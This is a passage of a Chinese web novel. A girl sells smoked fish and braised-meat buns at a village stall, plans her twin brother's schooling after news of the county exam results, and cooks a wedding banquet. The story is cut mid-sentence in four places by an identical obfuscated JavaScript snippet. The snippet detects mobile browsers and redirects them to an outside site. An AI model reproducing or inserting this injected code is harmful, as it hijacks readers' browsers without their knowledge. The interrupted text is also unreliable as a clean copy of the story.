这熏鱼吸满了酱汁，酱香回甜，鱼身上的小刺被炸的酥酥的，不用吐也能吃下去，这年代的人缺甜，若叫卢大贵来评，还是熏鱼更胜一筹。 “晓晓，这鱼可要拿到摊子上卖？”卢二娘子问道。 “是，我打算卖八文钱一块，爹娘觉得可会有人来买？” “那自然是有人买的，这鱼这样好吃，又用油炸过，还放了那多的糖和香料，吃个味也是值的。”卢大贵肯定道。 吃过晚饭，卢晓晓用瓦罐将熏鱼装好，开始准备第二天要卖的吃食，今日炖了八斤肉，额外的两斤是元三郎定的，做好后用瓦罐装着，又把剩下的两只兔子做成干锅兔，两斤是月初定的，两斤是宋家小哥前日来摊上定的，都用瓦罐装着。自从卢晓晓开始做吃食生意，便买了好些瓦罐。 次日一早，卢二娘子跟着一道来了镇上，一是到了她去铺子交绣件的日子，二是要来摊子熟悉熟悉，好在十二做席那日顶替卢晓晓，三是今日要推出新品，只兄妹两人，怕是顾不上宣传。 卢二娘子看了小半个时辰做肉夹馍的流程，卢晓晓又与她说了各环节的要点，便上手了，想来也是因为更重视些，卢二娘子做出来的饼竟比往日的好吃，与卢晓晓做的也不差什么。 卢晓晓将肉夹馍交给卢二娘子，专心推广起熏鱼来。将一块熏鱼分成小小的一块，走到一旁吆喝道，“熏鱼熏鱼，好吃的熏鱼，来瞧一瞧看一看了，外酥里嫩，鲜甜咸香，八文钱一大块，好吃不贵。” 不一会儿就卖出去了六块，有那肉夹馍的老主顾，也有那好吃之人被小娘子口中新奇的吃食吸引过来试过之后觉得不错的。 “小娘子，我大前日定的干锅兔可做好了？再给我十个肉夹馍，六块红烧肉。”宋家小哥说道，他如今已成为这摊子上的常客，经常帮府里的丫鬟嬷嬷们代买些肉夹馍回去，赚上几个子。他在少爷身边得意，丫鬟嬷嬷们也很乐意与他多有往来。 “做好了，这瓦罐里是两斤的干锅兔，肉夹馍这就给您现做。”卢晓晓回道，又拿了张芭蕉叶包起六块红烧肉，用草绳系好，卢二娘子已经手脚麻利的剁肉做馍。 “咦，这是什么新吃食？” 卢晓晓递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811414|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一小块熏鱼，道，“今日新做的熏鱼，您尝尝？” 宋家小哥尝了一口，只觉酱汁浓郁，酥松软嫩，“再给我包两块熏鱼，这熏鱼可是每日都有？” “每日都有卖的，但数量有限，若是要得多，得提前定。这熏鱼甜咸浓郁与干锅兔的麻辣鲜香最是搭配了。” “先让我家少爷尝尝，若是需要再来找你们。” “我们这儿每日摆摊到午时，你随时过来说”。 说话间，远处传来哐哐哐的敲锣声，好似镇衙传来的，街上的好些人都往临街涌去。 “婶子，这是发生了什么？”卢晓晓拉住一位大娘问道。 “这秀才的名单出来了，听说咱镇上出了三个秀才！我得赶紧去看看。” “晓晓，你先支应着，我去看看。”卢二郎说完便跑了。 “里长真是祖坟上冒青烟了，听说这县令都欢喜坏了，对他好一通夸奖！”旁人道。 这每府院试每两年考三次，每次约取三十人，青阳县是教育贫县，有两三个秀才已是难得，下面的城关镇更是少，好几年才出一个秀才。 “我听说是宋家在京城的一脉从京城回来丁忧了，办了个宋氏学堂，帮扶族里呢！” “可这次中秀才的人里只有一人姓宋呀，那段默苏可跟宋家一点关系都没有！”去看了名单的人回来说道。 “这从京城回来的宋老爷又是什么人？”有人问道。 “这京城来的宋老爷是咱镇上宋老爷的堂兄，他们这脉书读的好，前朝就在京城，宋老太爷更是官至翰林院大学士。宋老太爷见前朝不仁，便辞官携全家返乡了，到了新朝，又被新帝请出山，才全家又回到了京城。前年宋老太爷去世了，宋老爷就回到了咱城关镇丁忧。” “那这宋老爷回来丁忧，怎么就办起了学堂？”又有人问道。 “宋老太爷临终前，感念之前镇上族人对他们一家的照顾，便嘱咐宋老爷返乡后定要为族人做点贡献，宋老爷这才办起了学堂。这宋家办学堂可是用了心，这学堂里做夫子的，都是举人老爷。” “可这三个秀才也不全姓宋呀，另外两人怕是跟宋氏学堂无关吧？而且这学堂才开多久。”有人质疑道。 “小哥，你的肉价馍好了。”卢晓晓一边听，一边不忘忙摊上的活，将宋家小哥买的好些吃食递过去。 “你们知道什么，宋氏学堂不单收宋氏族人的孩子，也帮扶镇上家贫但有天份的读书人呢！那段默苏就在宋氏学堂里念书！” 周围的人难得见有一知情人，七嘴八舌地问了好些问题，吓得宋家小哥付了钱，拿着吃食赶紧走了。 卢晓晓一听，眼睛顿时亮了，这是什么，这可是天降名校，而且是面对贫困生开放的办在家门口的名师名校！ 经过教育资源竞争的现代人，可太懂名校的重要性了，在这古代，学习资源更是掌握在一小波人手里，名师名校更是重要！ 12. 宋氏学堂 杜秀才过世后，卢三郎便跟着村里的另一位姓杜的秀才读书。这秀才读书几十载，才在新朝刚开科举时中了个秀才，他也知自己的本事，便回村购置了十几亩田，又办起学堂，教村子里的小孩读书识字，安安心心做起他的秀才公。 卢晓晓就想着等这届秋闱结束，便得让卢氏夫妇托人在镇上给卢三郎找个学堂。 可镇上读书贵呀，里正家的杜子柏在的明微学堂便是镇上数一数二的学堂，教书的是位老举人，一月就得要二两银子的束脩。 这时候的官学也是有的，只是开在了县里，只招秀才，学制也只有三年，所以各地还是以私学为主。 卢二郎回来后，说起这镇衙前是多么的热闹，这城关镇三位秀才公是多么的厉害，名字均是排在榜单的前半部分，有位叫段默苏的更是本次院试的案首。 卢晓晓只叹小哥走得太快了，又想到元三郎也是与小哥口中的少爷相识的，或许也能知道宋氏学堂的事，来取吃食的时候定要好好问问。 盼星星盼月亮，快午时的时候，元三郎才在街上出现，还是穿着常服，却没有几日前光鲜亮丽，一副风尘仆仆的样子，但是颇为精神。 “小娘子，我要的吃食可备好了？”元三郎道。 见他出现，卢晓晓眼睛都亮，整个人洋溢着十二分的热情，“元公子，准备好了，新做了熏鱼，特意给您留了些，可要来几块？” “叫我三爷便好了。这熏鱼是什么做法？”元三郎自幼习武，又多往来于市井，最不喜欢公子小姐的称呼。 “元三爷，这是将鱼块油炸后，放秘制酱汁中充分浸泡，吃起来外酥里嫩，咸甜适中，老少皆宜，卖的可好了。”卢晓晓从善如流道，熏鱼价格不贵，味又好，这四块熏鱼确确实实是她特地给留出来的。 “那都给包起来，再来两个肉夹馍，不用包，这就吃。” 卢二娘子忙碌起来。卢晓晓便趁机搭起话来，“元三爷，在镇上见多识广的，可知道宋氏学堂，听说这次的秀才公都是宋氏学堂出来的，是真的么？” “这次的秀才公有两位是在宋氏学堂读书，听友人夸过他们都是文采斐然的人。还有一人出自明微学堂。”元三郎在镇衙交差的时候已听说此次的院试结果。 “三爷的友人可也是在这学堂里读书？听说这学堂里不全是宋家子弟，不知进这学堂有何要求？” “这我倒是不知，你问这是为何？” “不瞒三爷，我有一同胞弟弟，今年已过了府试，想来镇上找一学堂读书，听说宋氏学堂这样好，便想问问。” 元三郎见这小娘子约摸十岁有余的样子，年岁不大，同胞弟弟能过童试，想必也颇有天份，便道，“你若是想知道，过两日我帮你打听一二。” “那太感谢了，您的肉夹馍好了，加上红烧肉和干锅兔，还有四块熏鱼，一共是五百六十六文，之前您付了一百文的定金，还需四百六十六文。” 元三郎从怀里掏出半两银子的银锞子，递给卢晓晓道，“多的三十四文记到账上。” “好咧！”卢晓晓喜滋滋的接了过来。还是银子可爱，等分红了，她便要把铜钱都换成银子。 “晓晓，三郎要来这镇上读书吗？”等元三郎走后，卢二娘子问道。 “晓晓，是要去出了秀才公的宋氏学堂吗？”卢二郎道。 “娘，二哥，回去以后我再与你们细说。”说罢，又过了一会儿，母子三人将肉夹馍卖光就准备回去了。 刚走出不远，就听到宋家小哥的呼声。“小娘子！小娘子！买肉夹馍的小娘子！” 卢晓晓往回走了几步，问是何事。 原来是宋家少爷晚上约了几位同窗庆祝庆祝，吃了熏鱼后觉得好，想问卢晓晓能不能下午做上两斤，酉时之前给送到地方，会多给二十文的跑腿费。 卢晓晓算了算，到酉时还有两个时辰，时间是够的，只是路上费时间，便问吃饭的地方在何处，又让卢二郎跟着去认路，她则与卢二娘子先回去做鱼。 有人欢喜就有人愁，明微学堂。 明微学堂的夫子姓孔，这孔夫子是真正有本事的，学堂里出过好几个秀才，是以束脩收得不低。 今日出榜，学堂里一位师兄中了秀才，夫子很是高兴便给学生们放了半日假。杜子柏和几位同窗多留了一会，这里头就有位叫方卓言的学子。 “卓言兄，卓言兄！” “什么事?”方卓言回过神。 “我三日后的旬假结婚，想邀几位同窗一起热闹热闹，你可有时间去？”杜子柏问道。 “我就不去了，还得在家温书。”方卓言道。 “去吧去吧，大家一块热闹热闹，夫子不是说吗，读书固然重要，但也不能只读书，回头买些笔和纸，算作咱给子柏的贺礼。这院试都考完了，放松放松。”一位热情的同窗劝道。 “我说不去就不去！”方卓言突然气道，说罢便收拾书走了。 闹得杜子柏和同窗很是下不来台。 有那和事的同窗道，“你惹他干嘛，他此次未中秀才，这会正恼着呢！” “他在这坐着呢，也不好不叫他。”杜子柏与他相交不多。 “他恼什么，夫子不是说他火候未够，下次把握更大吗，张师兄也是考了好几回才中的，他又不是文曲星下凡。”热情同窗不满道。 “他不是文曲星，可有人是啊！你们不知道吧，他和那段默苏可是表兄弟，段父早逝，这方家夫妻怕妹妹来打秋风，便从不叫人上门。” “我听说那段默苏家可穷了，全靠他母亲为人浆洗衣服，他为人抄书，才能继续读书。” “如今人家到宋氏学堂进学一年，便取得了案首，难怪他这样不平。” “别说他了，大后日可是子柏的好日子，我们说些高兴的。” “子柏，邀请的镇上哪位大厨呀，若是不好吃，我们可不依。”有同窗起哄道。 “到那日便知道了，准保叫你们满意。”杜子柏自信道，倒不是说卢晓晓的手艺就胜过镇上所有的大厨，主要胜在菜式新，味道好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811415|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又说卢家母女，回程的路上买了三条大草鱼，到了家，便做起熏鱼来，做好后就赶紧让卢二郎送出去。又想起要说卢三郎读书的事，便让他顺路把卢大贵叫回来。 卢晓晓把明日的熏鱼也做好，卢大贵便回来了。 “晓晓，叫爹回来可是出了什么事？”卢大贵刚进门便问。 “爹，没事，只是有个事想跟您商量下，您快坐，娘也坐。” “你这着急叫爹回来，我还当出了大事，什么事不能等晚上回来再说？”卢大贵松了口气。 “是三郎读书的事，如今他已是童生，趁他没回来，我想问问爹娘是如何打算的？” “那自是要继续读下去的，你姥爷说你弟是有天份的，他临终前，我和你娘也答应了要好好供你弟念书。”卢大贵不假思索道。 “晓晓，你可是不愿意？”卢大贵又问道，这读书花钱，要供卢三郎读书，这一家子定是要缩衣节食的，虽说这钱都从公中出，可这公中不也有卢晓晓的一份吗。 “爹，我自然是愿意的，咱家要改换门楣，就只能靠三郎了。我是寻思这读书要讲究方式方法，这供人读书也该有方式方法吧？”卢晓晓缓缓地说道。 “这怎么说？”卢二娘子问道。 “我想问爹娘，如何让三郎继续读下去？是在村里读，还是跟里正的儿子一样到镇上去读？供他读书又是供多久，考不上也一直供吗？” 这些问题，卢大贵从来没想过。卢二娘子也没有，她记事时，杜秀才已经是秀才公，在学堂里挂名做了夫子，每月都有束脩，杜娘子也常做些绣件补贴家中，日子过得还不错。 “晓晓，可是什么想法？”卢大贵问道。 “这事本想等秋闱后再说，只是今日正好听到了一个消息，就想问问爹娘对三郎读书的打算。”卢晓晓停了停。 “今日院试张榜，咱镇上中了三个秀才，其中一人还是案首。” “好家伙，竟出了三个秀才公，还有案首。”卢大贵不由地感叹道。 “这三人中，一人出自明微学堂，两人出自宋氏学堂。明微学堂好，咱是知道的。宋氏学堂是京城回来的宋大老爷办的，那更是好。要想考取功名，还是要找个好学堂好好学。 “是这个理。只是镇上学堂的束脩太贵了，还不管吃住。三郎不若继续在村里学着，咱多攒攒钱，等学得差不多了，再去学堂里好好学上一两年。”卢大贵道，听里正说过大儿子在镇上读书可是花了大钱的，再说孩子的姥爷不也是在村里读出来的吗。 “爹，人都说这读书就像做房子，方法没找对，地基没打好，往后进学就难了。”卢晓晓不赞成地说道。 她了解过卢三郎的读书方式，主要靠背诵，说好听些是读书百遍，其义自见，难听些便是死记硬背。这种方式对于童试来说是适合的，可是再往后就用处不大了。 “如今咱家出吃食生意，以后会越来越好，我原想着等这届乡试结束了，就送三郎到镇上读书，我愿意出一半的束脩。但这钱也不是白出的。” 13. 鸭血粉丝汤 “怎么个不白出法？”卢二娘子问道。 “这有些个读书人，读到最后就变得四肢不勤，五谷不分，偏生还觉得自己高人一等，家里人供他读书是理所当然的，不知感恩。”这读书人，日日在学堂里坐着，往来的同窗多是家境殷实的人，可不就容易左了心性。 “我想着，不如就只帮三郎准备束脩的银钱，笔墨纸砚和人情往来，就让他自个挣，也叫他时时记得挣钱不易。我听大哥说，书肆经常找人干些抄书的活，这就很适合三郎。”卢晓晓说道。 “这会不会耽误他读书？”卢大贵犹豫道。 “我听说今次中榜首的段秀才日日帮人抄书补贴家用呢！想来抄书也是有裨益的。” “不若这样，咱就让三郎选，一个是继续由家里供着在村里读书，一个是到镇上念书，但他得自个挣笔墨纸砚和平日花销的钱。”卢二娘子拍板道。 “娘，我觉得须有个期限，虽说我觉得三郎定能考上，可凡事总要考虑万一，若是久久考不上秀才，家里也不能一直花钱供着，这期限就定个十年如何？” 卢大贵夫妻觉得这个期限也合理，便定了下来。 到了晚食，卢大贵便与卢三郎说起了这事，又言明卢晓晓愿出一半的钱。 卢三郎一听，道，“爹、娘，我想这事已经很久了，只是镇上的束脩太高了，难以开口。虽说二哥和姐姐做起了吃食生意，可这挣钱终是不易。你们给我出束脩就行，先前我找大哥问过了，书肆里有些抄书的活，上回托了大哥把我抄的书样给掌柜瞧，若是可以，我也能自己挣些笔墨钱。” 不得不说这同胞姐弟俩还是有些默契的，竟是想到了一处。 “你能这样想是最好的，咱家人人一块出力，这日子定是越过越好。”卢二娘子赞许道。 “听说这次出了两个秀才的宋氏学堂，面向贫困学子招生，我寻了镇上的元衙役打探，若是能进去，束脩应当是不高。”卢晓晓道。 “若能去宋氏学堂读书真是太好了，今日夫子还说，段公子能得案首，这学堂的夫子定是不一般。”卢三郎喜道。 “那我跟你二哥这几日便在镇上好好打探打探。”卢晓晓虽与卢三郎同岁，但是个成人的里子，自幼便指挥得卢三郎滴滴转。 她供卢三郎读书也是为了自己，现如今他们只是拿自己做的吃食出去卖，还算不上行商，可她绝不会止步于小摊小贩，要想生活得好，又不阶层滑落，就要挤入士的阶层，这读书便是唯一的渠道。 那每月多交些盈利到公中是不是也行？这是不一样的，古代女子势弱，她把自己的利益和全家最核心的利益绑在一起，才更有保障，虽说卢家人敞亮，没人惦记她的银钱，可未来呢，哥哥有了老婆，爹娘有了孙子之后呢，或是她嫁人之后呢，其他人也都能不惦记吗？ 次日到了镇上，卢晓晓又特地询了卢大郎意见，掌柜同意了他来抄书。卢三郎要到镇上读书的事情就这么定了下来。 转眼到了初十，卢二娘子和卢二郎去镇子卖吃食，卢晓晓一大早便到了里正家，卢大娘子母女也是早早的过来了。 这十张桌要用五只鸭子，卤料贵，里正娘子便想让卢晓晓多做两只，也同意卢晓晓和卢大娘子做两只，这一凑，便得做九只鸭子。 鸭子是里正家提前买好的，提前一日送了过来，嘎嘎嘎的一晚上，吵吵得好不热闹。 到了里正家，卢晓晓和卢大娘子母女便忙碌起来，卢晓晓负责烧热水、炒椒盐，母女俩负责宰杀鸭子。 待把鸭子收拾好，三人便一块给鸭身上和鸭肚子抹椒盐，抹好椒盐就放到缸中腌渍，需淹上半个时辰。为了做席，还特地到镇上赁了做菜用的大锅、大缸。 趁着腌鸭子的时间，三人吃过早食，又歇了片刻。卢晓晓便将前一夜熬好的卤汤热了热，把先腌好的鸭子放在卤缸中浸泡，鸭子多，需要分两批浸泡。卢大娘子母女则开始清洗鸭肠鸭胗。 等到鸭子腌泡好，又挂到通风处吹干，再煮上一锅香汤，将吹干的鸭子反复揿入汤中，才做成这咸水鸭。 忙完这，卢晓晓又做起午食来，送嫁的人是不在这吃晚食的，这新郎家就要做顿午食招待。 卢晓晓决定做鸭血粉丝汤配饼，一锅冷水加入姜片、葱结，将洗净的鸭肝、鸭心、鸭胗、鸭肠放入焯水，再用一小锅装上少量腌渍咸水鸭的卤水，用小火将焯好水的鸭内脏卤上半个时辰。 将早上揉好的面，加入少许干面粉揉成光滑的面团，分成几团，搓成长条，揪出一个个小剂子，再团成团，压制成巴掌大的饼子，又起油锅，将面饼烙成两面金黄内里松软。 烧开一锅水，将凝结好的鸭血划块，滑入锅中，沸腾后便捞起放到碗中。 粉丝是卢晓晓前几日新制的，听说要做午食，正好这次用的鸭子多，就想到了鸭血粉丝汤，问了一圈都不知道粉丝是何物，费了好大劲，才做出这一顿的粉丝。 新起一油锅，把水烧开，加入泡了一早上的粉丝煮软，再加入卤好的鸭肝、鸭心、鸭胗、鸭肠，加少许盐，最后加入煮好的鸭血，沸腾一会儿就起锅，起锅前再撒上一把切碎的香菜，一碗色香味美的鸭血粉丝汤便做好了。 期间，新娘子送嫁的婶娘来灶房看了看，见这主事的人竟是个十多岁的小姑娘，心里好生诧异，免不得又去新娘房里嘀咕了一番。 又说这新娘子，是邻村嫁过来的，听说婆家找了一个比她还小的小姑娘做这喜席的主厨，不由暗自气恼，一是气婆家对她不重视，二是气婆家不顾颜面。 正当这新娘子和婶娘忧愁两家如何出洋相之时，小姑子敲门进来了，端了碗鸭血粉丝汤，道，“嫂子，娘说成亲事多的很，你怕是没用上早食，早该饿了，让我给你端碗鸭血粉丝汤，先垫一垫，不知道婶子也在这，我再去端碗过来。” 说罢，将碗放在桌上便又出去了，只见这碗粉丝汤的汤底色泽清亮，香味浓郁，碗底是晶莹剔透的线状物，怕是小姑子口中的粉丝，上面码着带着浓郁香味让人垂涎的鸭杂，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811416|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有两根鲜翠欲滴的青菜，看起来诱人极了。 新娘子挑起一筷子的粉丝放入口中，只觉得这粉丝爽滑又有弹性，煮软的粉丝吸饱了汤汁，带着鸭杂的香气，让人倍感满足。 又依次尝了尝粉丝上的鸭杂，鸭血滑嫩、鸭胗柔韧、鸭肠爽滑、鸭肝绵软，让人忍不住大快朵颐。 这婶娘见侄女也不说话，吃得一副停不下来的样子，恨不得拿过来尝两口，好在里正家女儿没让她久等，没一会儿又端来了一碗，还拿了两个饼子，道，“婶子、嫂子，这饼放到这汤里也好吃。没事我就先回去了。”她还要回去喝鸭血粉丝汤呢。 这婶娘端起碗尝了一口，只觉这汤口感鲜香，十分爽口宜人。婶侄两就着粉丝汤各吃了张饼，又把一大碗鸭血粉丝汤吃完，才有功夫说话。 “这鸭血粉丝汤可真好吃啊，这粉丝滑滑弹弹的，从未见过。婶子，这难不成是那小姑娘做的？”新娘子问道。 “我进去的时候就只见她在忙活，也不好细看，应该是她做的吧。”婶娘不确定道，这要是她做的，这小小年龄可了不得。 “不管是不是她，这亲家总归是不错的，这新鲜吃食也舍得拿出来招待咱，想来喜席也出不了岔子。”婶娘又说道。两人终于把悬着的心放下了。 又说这灶房里，除了盛给客人吃的，还剩了一小锅的鸭血粉丝汤，除了卢晓晓三人，里正家的小辈们也分得了一小碗，吃得好不欢快。 吃了午食，卢晓晓三人又继续忙活了，卢二娘子上午出摊回来，也过来帮忙了，炖红烧肉、焖地锅鸡、熬鱼骨汤，待快到开席的时候，把处理好的鱼片下入锅中，端出一盆盆的酸菜鱼，又炒上两个青菜，把放凉的盐水鸭切块摆到碗中，这一桌席面就做好了。 这一下午是又炝、又炖、又焖、又卤的，浓郁的香味就没停过，中午又拿出了没见过的粉丝，来帮忙的亲戚不由咋舌道，这里正家真是大手笔，这刘大厨来不了，竟从县上找来了大厨，等到了开席的时候，做席的大厨是县上来的消息都传遍了。 又说杜子柏的同窗几人，其中一人的家境殷实，便使了家中的马车把几人一道送到了杜家村。 到了杜家，杜子柏便迎了上来，道，“我可是等你们好久了，今日可要吃好了。”几人纷纷送上贺礼，一同窗促狭道，“这可是你说的，今日若是吃得不好，定要你到镇上的馆子再请我们一道。” 杜子柏将人引到一张空桌落座，又陪了会儿，就去迎别的客人了。 又过了一会，这客人来得差不多了，里正娘子便使了女儿去灶上说开席，这一碗碗红烧肉、盐水鸭、地锅鸡、酸菜鱼，如流水般的端了出来。 只见这一桌席面是六荤四素，鸡、鸭、鱼、肉各一道菜，外加炒鸡杂，蒸鸡蛋羹，并四个素菜，好不丰富。 这来客们不禁暗叹这里正家真真是大手笔，连杜子柏的几个同窗也小小的震惊了，这菜丰富不是什么难事，可这几样新菜式就太难得了，这杜子柏真是从县上请来了大厨吗！ 14. 好手艺 来吃席的人哪见过这些菜式，迫不及待的吃了起来。 酸菜鱼做的微麻微辣，鱼片的鲜嫩，配上酸菜的酸香爽口，再加上一点点的麻和一点点的辣，刺激味蕾，让人食欲大振。 红烧肉炖得香糯软烂，瘦而不柴，肥而不腻，放入口中，入口即化，肉质栈香，看起来酱红艳丽，美味又喜庆。 盐水鸭制得皮肥骨香，口感滑嫩，鲜甜可口。还有那地锅鸡的口味鲜醇，炒鸡杂的鲜嫩脆爽、蒸蛋羹的细腻滑嫩，让来客们忍不住大快朵颐。 杜子柏给长辈敬完酒，便来了同窗这一桌，道，“怎么样，这菜味道不错吧！”他已听见好多人夸今日的菜好了。 “可以啊，子柏，你家这是哪里找来的大厨，这好几道菜的做法我都没见过。”家境殷实的同窗说道。 “刚才彦文说这肉的味道吃着像镇上一家卖肉夹馍的摊子做的红烧肉，我们都说不可能，这指定是县里请来的。”一同窗道。 “这还真叫彦文给说着了，这菜是我家一远方妹妹做的，平日里不做席，就在镇上卖肉夹馍，也卖些别的吃食，卖得可好了。”杜子柏说道。 “今日吃的这几个菜那摊上都有卖的？彦文快给我们好好说说。”知晓杜子柏还要去招呼其他客人，便问起了另一知情人。 “除了这肉，这几道菜倒是没在卖，那摊子上主要卖肉夹馍，就是将红烧肉剁碎夹入切开的面饼中，饼酥肉香，好吃的很。还有熏鱼，将鱼块炸得外酥里嫩又浸入特质的酱汁中，汁液浓厚，鱼肉鲜甜。” “还有道干锅兔，平日里没得卖的，要摊子挂上兔儿绣包，提前预订才能买到，听说味道是麻辣鲜香，外酥里嫩，可惜我没吃过。”说起好吃的，这张彦文滔滔不绝起来。 这张彦文若是在现代，就应该当个美食博主，绘声绘色的描述，让几人觉得更馋了。 “好呀你，有这样好吃的摊子也不给我们说。就罚你明日帮我们一人带个肉夹馍。” “叫我说今日这肉也不让彦文吃了，只叫他看着我们吃，好好的馋一馋他。” 一桌人边吃边闹，好不热闹。 灶房里，只余了卢晓晓一人，卢大娘子母女和卢二娘子都到前头的正院吃席去了，这灶房需得留一人看着。 前头已经开席两刻钟，应是没什么事了，卢晓晓便盛了碗饭，淋了两勺酸菜鱼汤，又取了一小碗，装着鸡、鸭、肉各两块，鱼片若干，舒舒服服地吃了起来。 正院里，里正娘子与相熟的几个娘子坐了一桌，席面吃得差不多的时候，几位娘子聊了起来。 “我看你是有福气的，那翠花在我们村最是能干孝顺，我们村好多人都想与她家说亲，倒叫你个邻村的娶走了。”李娘子道。 “那些人哪有人杜家有诚意呀，聘礼送得多不说，再看看今日这席面，那是花了十足的心思！” “听送嫁的人回去说，中午吃的鸭血粉丝汤，鸭血滑嫩，鸭杂卤得喷香，还有一种叫粉丝的新吃食，那是见都没见过，看着晶莹剔透，吃着爽滑有弹性，我还说来好好尝尝呢，这席上竟是没有。”李娘子又道。 “那粉丝是今日请的厨娘自个儿做的，就那么些，我都没尝着味道。”里正娘子解释道。 “这厨娘是从县上请来的？若是花费不算高，我公爹六十大寿的时候，也想请她做场席面。”一娘子问道。 “这哪是县上请的呀，是我那小姑子夫家的侄女，小姑娘自小就爱鼓捣吃食，在镇上开了个吃食摊子，叫卢记肉夹馍，生意可好。她平日里也不做席面，原先请的刘大厨摔伤了胳膊，才叫她来帮忙的。”里正娘子特意扬了声音答道。 “哟，那可不就是卢晓晓那个小丫头，这小小年龄，有这手艺，可真是了不得！” 不多一会儿，来吃席的就都知道今日吃的菜是卢晓晓做的了，都让卢二娘子做些肉夹馍在村里卖，也不用他们往镇上跑了。 杜子柏的同窗一听，对呀，做吃食的人不就在这吗，也不用明日大早去摊子上买了，在这定好不就行了，熏鱼、干锅兔他都想尝尝，便找来了杜子柏，道，“子柏，我想买一些红烧肉和熏鱼，若是有干锅兔也想买一些，问问你那妹妹，现在可以预订吗？” 卢晓晓听说有人要预订，回道，“这会定了，明儿也做不出来，若有时间，不如明天先到摊子买一两块尝尝，再决定要什么。”若是有一群书生到她的摊子上买吃食，肯定又会带起一波销量。 这喜席吃到了戌时方结束，吃得是宾主皆欢，里正娘子高兴极了，多给了卢晓晓两吊钱。 卢晓晓与卢大娘子母女分了钱，各自拿着渍好的盐水鸭便各自回家了。 回到家又是炖肉、又是熏鱼、又是烹兔，想着今日做席的名声传出去，生意定会好，就备了十斤红烧肉，三条大草鱼，还准备了干锅兔，直忙到子时才歇下，好在明日还是卢二娘子出摊，她可以在家好好歇一歇。 次日，卢晓晓一觉睡到了大天亮，看太阳约摸是到了辰时，便决定简单的做个葱油饼配粥作为早食。 先是淘米把粥煮上，装出一碗面粉，打入个生鸡蛋，用手稍微搅和，再慢慢加入凉水，继续搅动，水吸收后用手反复揉搓，不断加水揉搓，直到揉成一个光滑的面团。再把面团揪成一个个小面团，放在一旁。 趁着醒面的时候，将大葱、生姜、大蒜洗净后拍碎，起锅烧热后倒入油，油热后加入准备好的调料，再加上一小勺盐，转小火慢慢熬制，直到熬出葱香味，用碗将葱油盛出。 将面团擀成薄片，再刷上葱油，将饼卷成一长条，再将长条盘成一个圆，再放上一刻钟，轻轻擀成圆饼，放到锅里烙到两面金黄。 卢晓晓连着烙了五六张饼，见时辰差不多，就盛了粥，装了饼，给卢三郎和卢大贵送去了。如今家里下地的人少，卢大贵就不回家吃早食了。 回来吃过早饭便无事了，卢晓晓便决定出去转转。 如今李屠夫那都是提前订 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811417|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好肉，收摊顺路拿回来就行，也不用再特地跑一遭。 锁上门，又去地里跟卢大贵说了一声，便沿着河流慢慢往上游走去，路上遇到几个在河边洗衣服的大娘，其中有两人去里正家吃了喜席，正在给另外的娘子说昨日的菜，见到卢晓晓便打招呼道，“晓晓，上哪去呀，今儿不出摊吗？你手艺可真好啊，我家那小子昨夜做梦都还想着呢！” “婶子，我到山边转转看。” “转转好，这会酸枣、野柿子都成熟了，你们会做的也会吃，说不定又能捣鼓出新吃食了，不过可得小心些，别进深了。” “唉，知道了，我就在外边转转，谢谢婶子。” 秋天到了，山里河里的食材便多了起来，这酸枣极酸，除了馋嘴的小孩吃一些，一般人不爱吃，卢晓晓想到了现代的酸枣糕。 山脚下就有几颗酸枣树，酸枣树高大，不易摘取，果实成熟后会自然掉落，卢晓晓决定过去看看。 走进了见到树下有个小孩拿着个小筐子在捡酸枣，衣服浆洗得发白，瘦瘦的脸上一双眼睛显得尤其大。 “小孩，你在这干什么呀，你喜欢吃酸枣呀？” “不喜欢，酸！娘让我来捡，娘说她喜欢。”小孩似是不能理解。 “你叫什么，你娘是谁呀？”看着小孩瘦瘦小小的样子，怕是家中的吃食不丰。 “娘在那儿！我叫柱子。”小孩指了指不远处。 只见不远处的地里一妇人正在耕作，时不时望过来，见卢晓晓看过去，笑了笑。 